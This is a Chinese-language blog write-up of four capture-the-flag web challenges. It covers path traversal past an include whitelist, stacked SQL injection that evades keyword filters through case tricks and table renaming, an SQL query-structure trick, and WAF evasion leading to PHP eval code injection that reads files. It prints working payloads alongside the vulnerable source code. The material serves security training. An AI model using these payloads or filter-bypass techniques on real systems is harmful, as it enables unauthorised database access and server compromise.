BUUOJ Web #1 [HCTF 2018]WarmUp [强网杯 2019] 随便注 [SUCTF 2019]EasySQL [RoarCTF 2019]Easy Calc

0x01 [HCTF 2018] WarmUp [PHP][代码审计]

题目链接

简单题。打开网页后一张滑稽,按F12寻找信息,发现代码注释里有一行<!--source.php-->,在url后加上/source.php刷线页面,得到一段PHP代码。

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

看这个判断语句

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    )

说明是在请求中包含有文件,以及文件是一个string,这两个都好说,看第三个是进入checkFile函数。

看代码逻辑的话,有三种情况会返回true

1. file参数名在白名单里,白名单包括source.phphint.php
2. mb_substr($page,0,mb_strpos($page . '?', '?'));的结果在白名单里,这个语句的结果其实就是把类似于 file=source.php?something 中的?something去掉,所以按时着我们可以在file=source.php后加入一些东西。
3. 跟情况2一样,只不过多了一步urldecode

首先我们先看下hint.php,返回flag not here, and flag in ffffllllaaaagggg,提示我们flag在ffffllllaaaagggg。这样看来我们可以通过构造 file=hint.php?../ 等来进行一个路径穿越,获取到任意文件。通过不断跳目录即可得到下面的payload,以此即可得到flag

file=hint.php?../../../../../ffffllllaaaagggg

这也是一个比较经典的phpMyAdmin的漏洞了,参考文章

关于这里的路径问题,php include的方式是首先在逐一用include_path中定义的包含目录来拼接[未确定路径],找到存在的文件则包含成功退出,如果没有找到,则用执行require语句的php文件所在目录来拼接[未确定路径]组成的全路径去查找该文件,如果文件存在则包含成功退出,否则表示包含文件不存在,出错。

0x02 [强网杯 2019] 随便注

进入之后是一个表单提交,默认值为1,点提交之后返回一个无用的数组。

尝试 1′ 得到

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

可知存在注入,且参数使用单引号

做了一些其他尝试后得到输入1.时返回

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

说明存在过滤条件,那么一般的操作就无法拿到列了。

测试下能否使用堆叠,1%27%3Bshow+databases%3B 得到如下信息

array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}

然后再看看tables的情况,1%27%3Bshow+tables%3B

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

然后再来看一下每个table里的东西,首先是1919这一长串1%27%3Bshow+columns+from+%601919810931114514%60%3B

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

嗯。。似乎看到了flag的标志,现在我们要做的就是select flag from 191981093111414.

但是select被过滤了,想用预编译来代替

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

返回strstr($inject, "set") && strstr($inject, "prepare")

emmmm, set和prepare也被过滤了,但是注意到php的strstr函数是区分大小写的,所以我们可以用Set来代替,得到payload为

-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

返回了flag

array(1) {
  [0]=>
  string(42) "flag{daf87e84-906a-4edc-84d0-a05ce2db287b}"
}

还有另一种解法是重命名,转自这里,具体为:

当前使用的库有两张表,输入1,2或者1' or 1#得到的回显明显是words表中的,即默认的查询是对words表的查询,他有两个字段:id和data,可以进行如下更改:
rename table `words` to `other`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(50);
把原本的words表改为其他名字,把存有flag的表名改为words,把flag名字改为id
payload:
inject=%27%3Brename+table+%60words%60+to+%60other%60%3Brename+table+%601919810931114514%60+to+%60words%60%3Balter+table+%60words%60+change+%60flag%60+%60id%60+varchar%2850%29%3B%23
然后提交1' or 1#获得flag

本题的php源码:

<?php
function waf1($inject) {
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}

function waf2($inject) {
    strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}

if(isset($_GET['inject'])) {
    $id = $_GET['inject'];
    waf1($id);
    waf2($id);
    $mysqli = new mysqli("127.0.0.1","root","root","supersqli");
    //多条sql语句
    $sql = "select * from `words` where id = '$id';";

    $res = $mysqli->multi_query($sql);

    if ($res){//使用multi_query()执行一条或多条sql语句
      do{
        if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
          while ($row = $rs->fetch_row()){
            var_dump($row);
            echo "<br>";
          }
          $rs->Close(); //关闭结果集
          if ($mysqli->more_results()){  //判断是否还有更多结果集
            echo "<hr>";
          }
        }
      }while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
    } else {
      echo "error ".$mysqli->errno." : ".$mysqli->error;
    }
    $mysqli->close();  //关闭数据库连接
}

?>

0x03 [SUCTF 2019]EasySQL

跟上一题类似,简单的尝试可以发现堆叠注入

1;show databases;

返回

Array ( [0] => 1 ) 
Array ( [0] => ctf ) 
Array ( [0] => ctftraining ) 
Array ( [0] => information_schema ) 
Array ( [0] => mysql ) 
Array ( [0] => performance_schema ) 
Array ( [0] => test )
1;show tables;

返回

Array ( [0] => 1 ) 
Array ( [0] => Flag )

也就是说要从Flag里面找东西,

简单的测试可以发现大部分关键字都被过滤了,但是输入 1=1 会返回1,而1=2返回0,根据网上大佬们所说的猜测(不知道怎么猜出来的或许这就是经验吧orz),应该是某种select “.$post[‘query’].”||flag from Flag的结构。(有点为了出题而出题的意思)

那么尝试构造一些payload替换原来的字符串,比如简单的 *,1 代入之后sql语句变为 select *,1||flag from Flag,此时便可得到flag了。。

Array ( [0] => flag{7c1574c3-3566-4b3d-93d3-354f46e9fa4b} [1] => 1 )

0x04 [RoarCTF 2019]Easy Calc

打开是个计算器,还可以使用。F12找信息,发现主要逻辑JS

$('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })

发现后端是一个calc.php,访问一下试试。。

然后就得到了php的代码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

可以发现过滤了一些特殊字符。

但是奇怪的是我输入字母的时候会返回404 Forbidden,而输入特殊字符的时候应该显示what are you want to do?的。

查看网页源码发现有一句

<!--I've set up WAF to ensure security.-->

然后猜测是WAF禁止了num字段有非数字和运算符出现。

思考无果,看了别人的writeup发现利用的是WAF和php解析url参数的不一致来做的。php会将key中一些字符自动转换,比如将空格转换为下划线,忽略前缀空格等。。然后这个题里面WAF是没有这种功能的(不清楚具体的实现,有待学习),于是可以在query参数的num前加个空格,变成calc.php? num=xxxxxx

然后就可以绕过WAF了,接下来看php的话,用了eval这种高危函数,而且只过滤了一下特殊字符,我们就可以任意操作了。。

首先scandir(“/”),由于php里写了过滤所以需要用chr绕过,payload写成

/calc.php?%20num=var_dump(scandir(chr(47)))

然后得到目录扫描结果

array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }

发现f1agg,用php语句读取出来echo回显即可得到flag,具体payload为

/calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据